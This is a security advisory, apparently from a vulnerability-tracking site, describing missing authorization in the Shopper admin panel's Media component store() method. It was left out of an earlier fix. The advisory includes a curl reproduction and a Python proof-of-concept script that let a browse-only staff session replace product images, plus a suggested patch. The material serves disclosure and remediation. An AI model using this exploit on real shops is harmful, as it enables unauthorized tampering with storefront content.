Shopper: Media sub-form store() still lacks authorization (Incomplete fix for GHSA-h4mp-g9c6-xwph)
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N상세 설명
Title
Missing authorization on Media sub-form store action allows unpermissioned product media update
Description
A lack of authorization control on the store() method was found in packages/admin/src/Livewire/Components/Products/Form/Media.php. The security fix released for GHSA-h4mp-g9c6-xwph added #[Locked] to the $product property in this file but did not add an authorize() call to store(). The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only browse_products, can invoke store() on this component to replace the thumbnail and gallery images for any product without holding edit_products. Because $product is now #[Locked], the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)
Affected files
packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76
1// Lines 64-76 - store() with no authorize() call 2public function store(): void 3{ 4 $this->validate(); 5 6 $this->product->update($this->form->getState()); // overwrites thumbnail + gallery media 7 8 $this->dispatch('product.updated'); 9 10 Notification::make()11 ->body(__('shopper::pages/products.notifications.media_update'))12 ->success()13 ->send();14}The five sibling components that were fixed in commit fcd0c59 each now have:
1public function store(): void 2{ 3 $this->authorize('edit_products'); // present in Edit, Inventory, Seo, Shipping, Files 4 // ... 5}Media.store() does not.
Steps to reproduce
Prerequisites: an admin-panel account whose role holds browse_products but NOT edit_products.
1SESSION="laravel_session=<your_session_value>" 2XSRF="<url-decoded-XSRF-TOKEN-cookie-value>" 3 4# Step 1: Load a product edit page as an admin to obtain the Media component's 5# Livewire snapshot ID and the product's public ID. 6# The component snapshot appears in the HTML source as data-livewire-snapshot. 7 8# Step 2: As the low-privilege browse-only session, call store() on the Media component, 9# pointing at the captured component state.10 11curl -s -X POST http://localhost/shopper/livewire/update \12 -H "Content-Type: application/json" \13 -H "X-XSRF-TOKEN: $XSRF" \14 -H "Cookie: $SESSION" \15 -H "X-Livewire: 1" \16 -d '{17 "components": [{18 "snapshot": "<snapshot JSON from page source with product locked>",19 "updates": {},20 "calls": [{"path":"","method":"store","params":[]}]21 }]22 }'23# Expected: HTTP 200, product thumbnail and images updated without edit_products.Proof of concept
1#!/usr/bin/env python3 2""" 3Media component authorization bypass PoC. 4 5Set these environment variables before running: 6 BASE_URL e.g. http://localhost 7 SESSION_COOKIE laravel_session cookie value (browse-only staff session) 8 XSRF_TOKEN URL-decoded XSRF-TOKEN cookie value 9 SNAPSHOT_JSON the full Livewire snapshot JSON string for the Media component10 (copy from data-livewire-snapshot in the product edit page source)11 12The snapshot already contains the locked product ID, so no ID substitution is needed.13The bypass is purely the missing authorize() on store().14"""15 16import json17import os18import requests19 20base_url = os.environ['BASE_URL']21session = os.environ['SESSION_COOKIE']22xsrf = os.environ['XSRF_TOKEN']23snapshot = os.environ['SNAPSHOT_JSON']24 25headers = {26 'Content-Type': 'application/json',27 'Accept': 'text/html, application/xhtml+xml',28 'X-XSRF-TOKEN': xsrf,29 'Cookie': f'laravel_session={session}',30 'X-Livewire': '1',31}32 33payload = {34 'components': [{35 'snapshot': snapshot,36 'updates': {},37 'calls': [{'path': '', 'method': 'store', 'params': []}]38 }]39}40 41r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)42print(f'Status: {r.status_code}')43print(r.text[:500])Impact
A staff member with only browse_products can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.
Suggested fix
1// packages/admin/src/Livewire/Components/Products/Form/Media.php 2 3public function store(): void 4{ 5 $this->authorize('edit_products'); // add this line 6 7 $this->validate(); 8 9 $this->product->update($this->form->getState());10 11 $this->dispatch('product.updated');12 13 Notification::make()14 ->body(__('shopper::pages/products.notifications.media_update'))15 ->success()16 ->send();17}Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.